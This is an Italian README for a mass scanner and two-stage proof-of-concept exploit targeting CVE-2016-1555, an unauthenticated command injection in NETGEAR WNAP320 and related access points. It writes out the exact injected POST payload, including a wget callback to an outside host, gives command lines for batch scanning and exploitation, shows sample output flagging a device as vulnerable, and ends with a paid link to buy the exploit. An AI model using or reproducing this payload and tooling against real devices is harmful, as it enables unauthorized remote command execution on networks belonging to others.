Scanner e proof-of-concept di exploit in due fasi per CVE-2016-1555, un'iniezione di comandi del sistema operativo non autenticata negli endpoint PHP boardData del NETGEAR WNAP320, con reportistica CSV/JSON.
| Campo | Valore |
|---|---|
| CVE | CVE-2016-1555 |
| Gravità | critica |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-77) |
| Corretto in | 3.5.5.0 (WNAP320, WN802Tv2, WNAP210v2, WNDAP350, WNDAP360, WNDAP660); 3.3.3 (WN604); i record CPE di NVD elencano firmware interessati fino alla 3.0.5.0, il template descrive il firmware 2.0.3 |
| Classe | RCE (iniezione di comandi del sistema operativo negli endpoint PHP boardData) |
| Python | 3.8+ solo libreria standard |
La versione 2.0.3 del firmware del punto di accesso NETGEAR WNAP320 potrebbe consentire a un attaccante remoto non autenticato di eseguire attacchi di iniezione di comandi contro un dispositivo interessato. I cinque endpoint board-data (boardData102.php, boardData103.php, boardDataJP.php, boardDataNA.php, boardDataWW.php) passano il valore POST grezzo macAddress alla shell senza escaping, quindi un valore terminato da punto e virgola esce dall'analisi del valore e il token successivo viene eseguito come comando. Il template nuclei (max-request 1) invia in POST macAddress=112233445566;wget http://<interactsh-url># a /boardDataWW.php e rileva la parola http sull'interazione OAST risultante.
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php e (5) boardDataWW.php in Netgear WN604 precedente alla 3.3.3 e WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360 e WNDAP660 precedenti alla 3.5.5.0 consentono ad attaccanti remoti di eseguire comandi arbitrari. Un'exploit riuscito consente ad attaccanti remoti di eseguire comandi arbitrari sul dispositivo interessato; la correzione consiste nell'applicare l'ultimo aggiornamento firmware fornito da NETGEAR. La voce è nel catalogo CISA KEV (aggiunta il 2022-03-25), EPSS 0.98325.
POST /boardDataWW.php con Content-Type: application/x-www-form-urlencoded e corpo macAddress=112233445566%3Bwget+http%3A%2F%2F<callback>%23®info=0&writeData=Submit.<callback> è l'origine del target (host[:port]) che sostituisce {{interactsh-url}}, così il wget iniettato raggiunge la stessa origine del dispositivo con cui sta comunicando lo scanner.http (word matcher del template su part: interactsh_protocol, words: ["http"]), combinata con lo stato HTTP 200 sulla risposta grezza.result_b64 trasporta i dettagli completi in base64(JSON).--json scrive un file sidecar con statistiche e dettagli per riga.Scanner:
python3 scanner/CVE-2016-1555/scanner.py urls.txt 8 CVE-2016-1555.csv --json CVE-2016-1555.json
urls.txt accetta commenti # e host nudi (192.168.1.250, host:8080/path); http:// viene anteposto automaticamente quando non è presente alcuno schema.
python3 exploit/CVE-2016-1555/exploit.py http://192.168.1.250 --verbose
python3 exploit/CVE-2016-1555/exploit.py http://192.168.1.250 --csv out.csv --json out.json
RCE POC SUITE
scanner : CVE-2016-1555 v1.0.0 (NETGEAR WNAP320 firmware 2.0.3, boardDataWW.php command injection)
request : POST /boardDataWW.php with injected macAddress
matcher : word 'http' on the response
threads : 8 | csv: CVE-2016-1555.csv | json: CVE-2016-1555.json
[2026-12-03 21:12:40] loaded 1 target(s) from urls.txt
[2026-12-03 21:12:40] [1/1] http://192.168.1.250 -> VULNERABLE
[2026-12-03 21:12:40] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[2026-12-03 21:12:40] timing : avg=14ms max=14ms wall=0.02s
[2026-12-03 21:12:40] json sidecar saved: CVE-2016-1555.json
[2026-12-03 21:12:40] report saved: CVE-2016-1555.csv
| Colonna | Significato |
|---|---|
| n | numero di riga (a partire da 1) |
| url | target come fornito (schema aggiunto automaticamente se mancante) |
| status | ok oppure error |
| vulnerable | verdetto True/False da check() |
| elapsed_ms | tempo di esecuzione per target |
| token | md5 di 12 caratteri sul risultato JSON |
| result_b64 | base64(JSON) con tutti i dettagli |
scanner/CVE-2016-1555/scanner.py - scanner black-box in batch (CSV in streaming, sidecar JSON, thread pool).exploit/CVE-2016-1555/exploit.py - POC a due fasi (POST di baseline, poi POST con macAddress iniettato).scanner/CVE-2016-1555/README.md - questo documento.scanner/CVE-2016-1555/DESCRIPTION.md - architettura, piano di probe, schema dei token, contratti.http/cves/2016/CVE-2016-1555.yaml (projectdiscovery/nuclei-templates)Se vuoi l'exploit, lo trovi qui: https://satoshidisk.com/pay/CT5RX5